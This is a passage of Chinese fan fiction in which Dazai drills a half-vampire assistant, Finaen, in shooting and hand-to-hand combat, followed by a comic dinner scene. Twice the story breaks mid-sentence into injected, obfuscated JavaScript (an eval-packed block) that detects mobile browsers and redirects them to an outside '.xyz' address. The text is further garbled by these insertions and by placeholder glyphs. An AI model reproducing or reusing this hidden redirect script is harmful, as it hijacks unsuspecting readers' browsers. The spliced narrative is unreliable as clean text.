太宰治的脚步甚至没有停顿,只是侧过头,用眼角的余光冷冷地扫了他一眼:“收拾干净这里,芥川,然后去医疗部。下次,管好你的罗生门,别让它再随便咬人了。” 命令简洁冰冷,没有多余的斥责,却比任何惩罚都更清晰。 说完,太宰治不再停留,黑色风衣划出一道利落的弧线,径直向训练场出口走去。 他没有回头,但声音清晰地传来,是对菲那恩说的:“还愣着干什么?跟上。” 菲那恩看了一眼跪坐在地上、失魂落魄、仿佛被抽空了所有力气的芥川,又看了看太宰治毫不留恋的背影。 他犹豫了一瞬,最终还是小跑着跟了上去,樱粉色的和服衣摆轻轻晃动,像只有点狼狈但立刻恢复精神的猫,紧紧缀在太宰治身后。 留下芥川龙之介独自一人,跪在冰冷的、布满裂痕的水泥地上,周围是罗生门留下的破碎布片和能量冲击的痕迹。 训练场空旷而寂静,只有他压抑的咳嗽和粗重的喘息声,以及那份被彻底无视、被否认的不甘。 去休息室的路上,太宰治率先开口。 “菲那恩,”太宰治的声音带着一种不容置疑的、仿佛为对方着想的意味,“作为港口Mafia的重要成员,尤其是我的助理,光靠你们血族秘术可不行哦。” 菲那恩发出一声困惑的鼻音,“嗯……?” “在横滨的夜晚行走,体术可不能差……” 他顿了顿,鸢色的眼眸中看不出什么情绪,语气却十分轻快地说道,“看来,需要给你安排一些‘额外’的课程了。” 菲那恩心中警铃大作:“……什么课程?” 他有种非常不好的预感。 太宰治笑眯眯地,仿佛在宣布一个天大的好消息:“首先,从明天开始,我会亲自教你基础的枪械使用。毕竟,有些时候,‘砰’的一声比那些秘术要实用得多,也更省力,对吧?” 他无视菲那恩瞬间垮下来的小脸和微微瞪大的红眸,继续说道:“然后至于体术嘛,至少……得学会该怎么打架吧。” 菲那恩看着太宰治那张笑眯眯的脸,心里其实挺认同太宰的的话。 在原本的世界就算了,力量充盈,在这里嘛……能省则省吧。 但是……但是训练体术什么的也太难了吧。 他整只吸血鬼都好像褪色了,默默地转过身,背对太宰,试图无意义地反抗。 果然就不是错觉吧。 ——太宰是大恶魔! 21.枪械训练 翌日,港口Mafia专属的地下训练场弥漫着硝烟与枪油混合的独特气味,冰冷的金属墙壁反射着惨白的灯光,更添几分肃杀。 菲那恩站在空旷的场地中央,显得有些格格不入,手里握着一把太宰治塞给他的标准□□,那冰冷的重量和陌生的触感让他微微蹙眉。 “首先,姿势。”太宰治的声音在空旷的训练场里显得格外清晰。 他走到菲那恩身后,没有直接触碰,只是用手虚虚比划了一下他的手臂和腰背线条。 “双脚分开,与肩同宽,重心微沉……对,就是这样,站稳是基础,握枪要实,但手腕别太僵。” 他的气息若有似无地拂过菲那恩的耳廓,带着惯有的、难以捉摸的笑意。 菲那恩努力模仿着,动作却带着一股未经训练的笨拙。 他试着举起枪瞄准远处的靶子,手臂却控制不住地微微发抖。 “太紧张了。”太宰治轻轻叹了口气,绕到他身侧,“放松,想象它是你手臂的延伸……眼睛、准星、目标,三点一线……” 他伸出手,指尖轻轻搭上菲那恩握枪的手背,调整着他过于紧绷的手指位置。 那指尖微凉,触碰短暂而带着明确的目的性——仅仅是教学。 然而,就在太宰治收回手的瞬间,菲那恩仿佛被那微凉的触感惊扰,又或是过于专注于“放松”的命令,他扣着扳机的手指无意识地一紧—— “砰!” 一声突兀的枪响撕裂了训练场的寂静,子弹完全偏离了靶心,甚至没擦到靶纸边缘,狠狠撞击在厚重的防弹墙上,留下一个清晰的凹痕和一个焦黑的印记。 菲那恩被后坐力震得手臂发麻,踉跄着后退了一步,粉色的头发都似乎惊得炸起了一小撮。 他下意识地看向太宰治,眼神里带着一丝闯祸后的无措。 太宰治倒是纹丝不动,连眉头都没皱一下,仿佛那声巨响只是背景音乐一般。 他看着菲那恩惊魂未定的样子,鸢色的眸子里带着点促狭:“看来你对‘放松’的理解有点偏差呢?这可是实弹哦,菲那恩。” 他刻意加重了“实弹”二字,提醒着刚才的危险。 菲那恩抿紧了唇,耳尖因为窘迫而微微泛红。 “……对不起。”他小声道,重新努力稳住身体,试图再次举枪。 “别急着道歉,新手走火很正常。”太宰治的语气轻松,眼神扫过菲那恩不稳的下盘和虚浮的手臂力量,“不过……让我好好看看你的基础吧。” 他话音未落,毫无征兆地欺身上前。 菲那恩甚至没看清他的动作,只觉得手腕传来一阵精准的酸麻,手指不由自主地松开。 那把沉重的手枪如同变魔术般,瞬间落入了太宰治摊开的掌心。 “!”菲那恩一惊,本能地想要夺回,身体前冲。 太宰治却像预判了他所有动作,脚下巧妙一绊,同时另一只手闪电般扣住菲那恩伸出的手腕,顺势一带一拧! 菲那恩只觉得一股不算巨大、却异常刁钻精准的力量瞬间破坏了他的重心平衡,整个人天旋地转,惊呼还未出口,后背已经重重撞上冰冷的金属墙壁。 太宰治的身体紧跟着压了上来,一只手牢牢攥着他被反剪到身后的手腕,另一只拿着枪的手则轻松地用手肘抵住了他的肩颈连接处,将他死死地禁锢在自己与墙壁之间。 整个过程快如电光火石,菲那恩连一点反抗的余地都没有。 “呃……”菲那恩闷哼一声,被压得几乎喘不过气。 他试着挣扎,却发现太宰治看似随意的压制点卡住了他所有发力的关节,加上对方身体重量的巧妙运用,让他根本使不上劲。 他引以为傲的血族力量,在这人类看似瘦弱的躯体压制下,竟像被无形的锁链捆住,完全无法挣脱——更可怕的是,他能清晰地感觉到,太宰治身上那股特殊的气息,如同一个黑洞,让他体内属于血族的力量瞬间沉寂、凝固。 ——人间失格。 太宰治是他的天敌,乃至他们这一支使用秘术的吸血鬼家族都是。 这个认知让他心底泛起一丝寒意。 太宰治的脸凑得很近,近到菲那恩能看清他眼底那抹玩味的笑意。 温热的气息喷洒在菲那恩的颈侧,声音低沉,带着一丝若有似无的喟叹,内容却冰冷而现实:“体术……比我想象的还要差劲呢,这可不是‘不太好’,是完全没基础啊。” 他微微侧头,目光扫过菲那恩因受制于人而微微泛红的脸颊和紧抿的唇瓣,“你这几百年的血族生涯,难道都用来……嗯,睡美容觉了吗?还是说,全靠秘术横行无忌?” 菲那恩被说中了,眼神飘忽,“血族是一种优雅的生物,身体素质高,会秘术的血族当然不需要去锻炼体术……” “在Mafia,活下来才是唯一的‘本事’。”太宰治的声音恢复了平常的语调,带着一丝冷意,冲散了刚才那点过近的暧昧。 他松开了压制,后退一步,同时将那把手枪随意地抛还给菲那恩。 菲那恩猝不及防地接住枪,差点又脱手,小声嘟囔:“我不死也是真本事的……” 太宰治闻言一挑眉,装作没听到,双手插回西装裤口袋,恢复了那副懒散疏离的模样。 “还好我不是你们那边的吸血鬼猎人,”他淡淡地补充了一句,目光扫过菲那恩紧握的枪,“不然你这样的,大概活不过新手任务的第一晚。” 这话说得轻描淡写,却像一盆冷水浇在菲那恩头上。 “欸——话说该怎么样才能杀死你们血族呢?”太宰治突然,好奇地问道,“这种事情能告诉我吗?” 菲那恩蹙了蹙眉,思考了一会儿,回答道:“好像还挺好杀的……只要彻底毁坏心脏便能杀死血族。” 太宰治伸出手指指了指菲那恩胸口,“那你呢?” 菲那恩摇了摇头,眼中恍惚了一瞬,“长老们曾经研究过我这个混血——我没有‘心脏’,甚至可以理解为我是一个长生不死、要吸食血液、自愈能力极强的人类。” 太宰治闻言,下意识看了看菲那恩的胸口,“没有……‘心脏’?” 菲那恩心情不佳,有些没好气道:“我当然有心脏!只是这个心脏受伤的话会非常痛之外,其他的就跟普通受伤没区别而已。” “因此——我算是真正意义上的不死族,所以长老们才说我是异类……是‘失败品’也是‘奇迹’。”菲那恩垂下眸,藏住眼中闪过的一丝莫名的情绪,那情绪混杂着对自身特殊性的困惑。 “哦?”太宰治的尾音微微上扬,带着浓厚的探究意味。 他非但没有被这近乎“无敌”的宣告震慑,那双鸢色的眸子反而像发现了什么极其有趣的谜题,闪烁着近乎兴奋的光芒。 他向前逼近一步,无形的压迫感再次笼罩菲那恩。 “真正意义上的不死?这说法真是……令人心痒难耐啊。”他的笑容加深,却毫无温度,“也就是说,无论我在这里对你做什么——拧断脖子、刺穿心脏、甚至把你切成碎片——只要时间足够,你都能恢复如初?” 菲那恩被他话语中冰冷的残酷和隐含的试验欲刺得一激灵,下意识地后退了半步,后背几乎再次贴上冰冷的金属墙壁。 他强作镇定地点头:“理论上是的,只是……” 他顿了顿,声音低了下去,“过程会很痛苦,而且需要消耗大量的能量和时间。” 沉默在冰冷的空气中蔓延了几秒,只有远处通风系统低沉的嗡鸣。 “不死……”太宰治低声重复着,声音轻得像叹息,却带着一种沉甸甸的份量。 他缓缓收回审视的目光,再次看向菲那恩的眼睛,那里面没有了之前的戏谑,只剩下一种近乎纯粹的、洞悉本质的深邃。 “这听起来不像奇迹,倒像是一个永恒的诅咒。” 这句话像一颗投入平静湖面的石子,在菲那恩心中激起了层层涟漪。 他猛地抬眼看向太宰治,粉色的瞳孔微微收缩,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356095|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇动了动,却最终没能发出声音。 那深藏的情绪——或许是孤独,或许是迷茫,或许是对这无尽生命的恐惧——在眼底一闪而逝,快得几乎让人无法捕捉。 太宰治将他的反应尽收眼底,却没有追问。 他仿佛只是陈述了一个显而易见的事实。 他轻轻呼出一口气,之前那令人窒息的压迫感如同潮水般退去,恢复了那副略带慵懒的姿态。 他转过身,不再看菲那恩,目光投向远处的靶位,仿佛刚才那番关于永恒与诅咒的对话从未发生。 “所以,”太宰治踱步到射击位前,随手拿起另一把手枪,动作行云流水,快得令人眼花缭乱——检查枪膛、装弹、上膛、据枪瞄准,一气呵成,每一个动作都精准、高效,带着一种身经百战的纯熟。 “要更好地完成任务,就不能再被人轻易缴械……”他侧过头,看向菲那恩,眼神里没有戏谑,只有一种近乎残酷的认真,“在这个时代,枪,可能会成为你最重要的伙伴。” “而体术……”他顿了顿,唇角勾起一个微妙的弧度,“……至少得练到不使用秘术的情况下,至少打起来不再乱七八糟吧。” 随后他说出了让菲那恩无法拒绝的理由,“你也不想被下一个[狄克拉之银]伤到吧?” 菲那恩一怔,摇了摇头,随即压下心中的翻涌,强迫自己集中精神,按照太宰治的指示,重新调整姿势。 时间在枯燥的基础练习中流逝。 太宰治的耐心似乎无穷无尽,或者说,他乐于欣赏菲那恩这份狼狈中透出的倔强。 “很好,姿势比刚才稳固多了。”太宰治的声音带着一丝难得的、几不可察的赞许,打破了长时间的沉默。 他踱步上前,在菲那恩身侧站定,用手指虚点了一下菲那恩的手腕关节,“这里,再下沉一点点,力量要贯通,不要卡在关节上。” 菲那恩依言调整。 “现在,”太宰治的声音贴近了一些,带着一种引导的意味,“眼睛锁定靶心,不要飘。呼吸……对,在吐气的末端,最平稳的那个点……”他的声音低沉而温柔,如同催眠或诱哄,“就是现在。” 菲那恩屏住呼吸,将全身的注意力都凝聚在指尖和远处的目标上。 他清晰地感受到扳机的行程,在太宰治话语落下的瞬间,他平稳地、缓缓地施加压力—— “砰!” 这一次,枪声不再突兀,带着一种沉着的决断,远处的靶纸上,偏离红心但稳稳扎入人形区域的弹孔清晰可见。 菲那恩放下微微发烫的枪,长长地舒了一口气,一种微弱的成就感伴随着手臂的酸痛升腾起来。 他下意识地侧头看向太宰治。 太宰治正看着他,脸上没什么特别的表情,但那双深不见底的鸢色眼眸里,似乎有极淡的微光掠过,如同平静深潭投入了一颗小石子。 他嘴角的弧度似乎比平时柔和了那么一丝丝。 “嗯……总算没浪费子弹。”太宰治的语气依旧平淡,但他没有移开目光,反而抬手,用指节随意地蹭掉了菲那恩脸颊上不知何时沾到的一□□碎屑。 那动作快得如同错觉,指尖的触感一触即分,却让菲那恩身体瞬间僵直,刚刚平复的心跳又漏了一拍。 太宰治仿佛什么都没发生,收回手插回口袋,转身走向弹药桌,声音恢复了惯常的慵懒和一丝不易察觉的、更深的东西:“休息五分钟,然后……我们试试移动靶?或者,你想挑战一下我的‘毕业测试’?” 他背对着菲那恩,拿起一枚子弹,在指尖灵活地翻转,金属在灯光下折射出冰冷的光泽。 菲那恩看着他的背影,又摸了摸刚才被触碰的脸颊,那里仿佛还残留着一丝若有似无的凉意和……说不清的异样感。 训练场的冰冷空气似乎变得有些粘稠,他甩甩头,努力将注意力重新集中在手中的枪上,忽略掉心底那丝微妙的悸动。 他知道,这场由太宰治主导的“教学”,远未结束。 22.“大餐” 经过几天的训练,菲那恩终于勉强通过了太宰的毕业测试。 □□也传疯了他打败了芥川龙之介,港口mafia众人暗暗认可了他的实力,对他莫名地更加尊敬了。 在菲那恩的强烈要求“奖励”下,太宰治思索片刻,最终还是答应菲那恩给他做一顿晚饭。 “我第一次见有人上赶着吃我做的食物……”太宰治如是说,表情十分微妙。 菲那恩疑惑地歪头,“太宰做的食物明明很好吃啊……” 太宰治微眯着眼看着菲那恩,突然笑了,“好啊,我今天一定给你做一顿大餐。” 菲那恩看着太宰治,突然有种莫名其妙的、不祥的预感,下意识移开了视线。 太宰治转身进厨房后,菲那恩就瘫在沙发上,像一尊被抽走了骨头的精致人偶。 他脸色比平时更显苍白,粉色的长发凌乱地铺散在深色沙发垫上,那双总是璀璨如红宝石的眼眸此刻失焦地望着天花板,灵魂仿佛已经飘出了躯壳。 就在这时,“嗡嗡嗡——”的震动声突兀响起。 “唔……”他突然发出一声意义不明的呜咽,猛地从沙发里挺尸般坐了起来。 声音来源是茶几上太宰治那部黑色手机,屏幕亮起,不断闪烁着陌生的图标和文字提示。 菲那恩的注意力瞬间被吸引。 他如临大敌般小心翼翼地拿起那部不断“叫嚣”的金属方块,指尖试探性地在冰冷的屏幕上戳了戳,点开了某个花花绿绿的图标——一个外卖APP的界面瞬间弹了出来。 “这个……红色的圆形符文?”他盯着屏幕上醒目的“下单”按钮,血红的眼眸里充满了古老生物面对现代科技的困惑与警惕,“是某种……召唤术?还是定位诅咒?” 他喃喃自语,指尖带着点研究精神地按了下去…… 等太宰从厨房出来时,迎接他的就是菲那恩捧着手机、一脸“我好像闯祸了但我不确定具体是什么祸”的茫然表情,以及自己手机屏幕上那个无比清晰的订单确认通知—— 二十杯番茄汁的外卖订单已经生成。 “……”太宰治盯着手机看了一会儿,转而看着眼神躲闪的菲那恩,微眯着眼,“……你点这么多番茄汁干什么?是想在家里开个番茄主题派对,还是打算淹死楼下的小矮子?” 菲那恩却像是捕捉到了什么惊天秘密,眼睛倏地亮了起来,那点闯祸的心虚瞬间被巨大的惊奇取代:“这个‘红色符文’……竟然真的能把东西召唤过来吗?!” 他仿佛发现了新大陆,完全忽略了太宰治话里的杀气和槽点。 太宰治盯着他看了足足三秒,最终像是放弃了和一只古董沟通现代物流体系,泄气般地摆摆手,语气恢复了惯常的懒散:“算了,反正……” 他拿起自己的手机,指尖在屏幕上轻点几下,嘴角勾起一抹幸灾乐祸的弧度,“绑的是中也的卡。” 中原中也恰好今天心情好,刚开了一瓶珍藏红酒。 这时,“叮——”的一声清脆提示音响起,是他放在一旁的私人手机。 中也皱眉,随手拿起来瞥了一眼——是一条银行发来的实时消费提醒。 哈?!! 可恶!那条死青花鱼什么时候把他卡偷走的?! “咔!” 一声脆响,他手中那支昂贵的高脚杯被他捏碎了,红酒混着玻璃流在他的手上,一点一点地滴落。 中也深吸一口气,额角的青筋突突直跳。 他强压下把手机也捏碎的冲动,扯出一个堪称狰狞的微笑,转身去拿新的高脚杯。 他的好心情成功被太宰治破坏了。 太宰公寓。 门铃响起的时候,菲那恩正研究着游戏机的暂停键。 几乎是铃声落下的瞬间,一道银光如同毒蛇出洞,撕裂空气,带着尖锐的破风声,“夺”的一声轻响,一把闪着寒光的水果刀精准地钉在了门板猫眼下方一寸的位置,刀柄还在微微颤动。 门外,提着两大袋沉重番茄汁的外卖小哥,看着距离自己鼻尖不足十公分的锋利刀刃,以及那深入木门的力道,脸“唰”地一下变得惨白如纸,声音抖得不成样子:“您、您的外卖……” 他当然不知道这栋看似普通的公寓楼属于港口Mafia,更不知道里面住着何等人物。 他只知道,再不跑,下一把飞来的东西可能就不是钉在门上了! 菲那恩慢悠悠地走过去开门,把两大袋沉重的番茄汁拖了进来,看着外卖小哥连滚爬爬、跌跌撞撞消失在楼梯间的背影,恍然大悟:“原来番茄汁是送来的啊……” 他小声嘀咕,似乎有点失望,“我还以为是……”某种罕见但实用的人类术法呢。 “什么……?”太宰治慵懒的声音自身后传来。 他不知何时从他的房间出来,倚靠在门框上,抱着手臂,鸢色的眼眸淡定扫过门板上那把刀,又落回菲那恩身上。 菲那恩没听清太宰治在说啥,他的注意力全被那二十杯诱人的“血红色液体”吸引了。 他兴致勃勃地拿起一杯,试图撕开杯口的塑封膜。 然而,沉睡三百年刚苏醒不久的身体,对力量的控制显然还不够精细,力气用小了撕不开,最后一不做二不休干脆用大一点的力量,结果…… “噗嗤——!” 一声轻响,封膜被暴力撕开的瞬间,杯中粘稠鲜红的番茄汁在压强作用下,如同微型喷泉,划出一道完美的抛物线,精准无比地—— 泼了太宰治一身。 白色的衬衫前襟,瞬间被染上大片淋漓的、触目惊心的“血迹”,粘稠的汁液顺着微微敞开的领口滑落,淌过线条分明的锁骨,留下一道蜿蜒的、极具视觉冲击力的“血痕”。 还有几粒细小的番茄果肉,沾在他微湿的黑发和苍白的脸颊上。 时间仿佛凝固了。 菲那恩举着空了大半的杯子,僵在原地。 太宰治低头,看了看自己惨不忍睹的白衬衫,又缓缓抬起眼皮,看向罪魁祸首。 三秒钟死寂般的对视后,菲那恩面无表情地、极其缓慢地将头转向一边,避开那令人窒息的视线,用一种努力维持体面但明显底气不足的语气,干巴巴道:“……赔你就是了。” 太宰治不知是习惯了,还是麻木了,表情非常镇定。 他伸出修长的手指,慢条斯理地捻起沾在自己锁骨附近的一粒饱满的番茄果肉。 指尖微凉。 在菲那恩惊愕的目光中,他将那粒鲜红的果肉,轻轻送入了自己口中。 薄唇微动,他细细品味了一下。 太宰治的舌尖舔过沾了点汁液的唇角,唇角勾起一个难以捉摸的弧度,“好像……味道还不错?” “!!!”菲那恩的瞳孔瞬间收缩成两道猩红的竖线,如同受惊的猫科动物。 “啪嗒!” 他手中的塑料杯应声落地,残余的番茄汁在地毯上洇开一小片刺目的红。 “太、太宰……” 他的声音罕见地卡壳了,带着一种近乎窒息的沙哑,视线死死锁在太宰治沾着鲜红汁液的唇角,还有那被“血迹”浸染、微微敞开的领口下,线条分明的锁骨。 菲那恩的喉结不受控制地剧烈滚动了一下,那温热的、带着独特甘甜气息的血液记忆,如同潮水般汹涌袭来。 太宰这个样子……好诱人…… 太宰治似乎对他的反应毫不意外,甚至带着点饶有兴味的观察。 “嗯?” 太宰治的尾音微微上扬,带着一丝探究,鸢色的眼眸深不见底。 “你也想喝?” 目光意有所指地扫过自己衬衫上那片狼藉的“血迹”,又落回菲那恩的漂亮脸蛋上。 菲那恩张了张嘴,却发不出任何有意义的声音,最终只是极其轻微地、带着点自己也未察觉的委屈和迷茫,点了点头,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366088|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞快地摇了摇头,眼神更加混乱了。 “呜……好香。” 一声细若蚊呐的、带着浓重鼻音的呓语,终于从他紧抿的唇缝间溢出,像迷失在甜腻陷阱中的小动物发出的困惑悲鸣。 这声“好香”,不知是指那泼洒的番茄汁,还是指那刻骨铭心的、属于太宰治血液的独特甘甜气息。 太宰治不慌不忙抽了一张纸巾擦着身上的番茄汁,好像什么都没发生似的,慢悠悠地说道:“冰箱里冷藏着我的血,我会不定时去补充你的‘口粮’。” 他顿了一秒,继续道:“当然,毕竟我只是普通人类,喝太快的话,你就只有饿肚子了。” 菲那恩只听进去了“冰箱里有太宰的血”,迫不及待地跑去打开冰箱门,里面赫然放着一个容量大概在200ml的瓶子,瓶子里散发的香气菲那恩再熟悉不过。 “真的有!”菲那恩的声音充满了惊喜。 太宰治无奈扶额,他感觉自己真的成饲养员了,竟然能对菲那恩容忍度这么高。 菲那恩的心脏跳动频率比平时高不少,明显处于兴奋状态。 有太宰做的大餐,还有太宰的血液补给…… 菲那恩感觉今天真是一个好日子。 然而,等太宰的“大餐”做好之后,菲那恩只吃了一口,下一秒脑袋就磕在桌子上,不省人事。 醒来后,他发现自己蜷缩在沙发上,太宰治在一旁翘着二郎腿看完全自杀手册。 他茫然地问太宰治,“太宰,大餐还没做好吗,嗯……?我怎么睡着了?” 太宰治的视线一直在完全自杀手册上,没看菲那恩,表情十分平静,“其实,你已经吃过了。” 菲那恩更加茫然了。 他什么时候吃过了……他怎么一点都不记得? 菲那恩正瘫在沙发上,努力回忆着那顿毫无印象的“大餐”,试图从味蕾记忆里挖掘出半点痕迹。 就在他茫然地舔着嘴角,怀疑自己是不是失忆了的时候,太宰治轻飘飘的声音再次传来,像一枚投入平静湖面的石子。 “啊,对了,菲那恩,”太宰治合上手中的《完全自杀手册》,鸢色的眼眸转向他,语气轻松得像是在讨论天气,“体术基础训练既然‘顺利’结束了,那么接下来,就该进行实战强化特训了。” 菲那恩缓慢地眨了下眼睛,长长的白色睫毛颤动着,“……强化特训?”他重复道,声音里还带着点沙哑。 “没错~”太宰治的笑容扩大,带着一种看好戏的愉悦,“我特意为你请了港口Mafia最强的体术导师呢。” 最强的体术导师? 他微微坐直了些,脸上依旧没什么表情,似乎正在思考这个体术导师是谁。 然后,他听到了那个名字。 “中也将会亲自指导你。”太宰治笑眯眯地投下了这枚重磅炸弹,“开始的时间就定在……明天上午吧?为期一周,地点在地下第五训练场,要好好表现哦,菲那恩~” “……”菲那恩僵在原地,粉色的长发似乎都失去了些许光泽。 他那双漂亮的红宝石眼眸,第一次清晰地映出了名为“天塌地陷”的情绪。 他甚至无意识地微微张开了嘴,露出一点点尖尖的虎牙,像个被吓傻了的猫咪。 看着他这副如丧考妣的模样,太宰治脸上的笑容越发灿烂明媚,仿佛看到了什么绝佳的娱乐节目。 “怎么?菲那恩是太高兴了吗?”他故意曲解道,“中也君可是很难请的哦。” 菲那恩缓缓地、极其缓慢地转过头,看向太宰治,眼神空洞,声音飘忽得像是从很远的地方传来:“……可以,不去吗?” 随即快速道:“我反正不会死,而且我觉得实战中不会有敌人难缠到能撑到我力量耗尽的——” “你说呢?”太宰治微笑着打断他,鸢色的眼底却没有丝毫商量的余地。 菲那恩:今天真是个坏日子……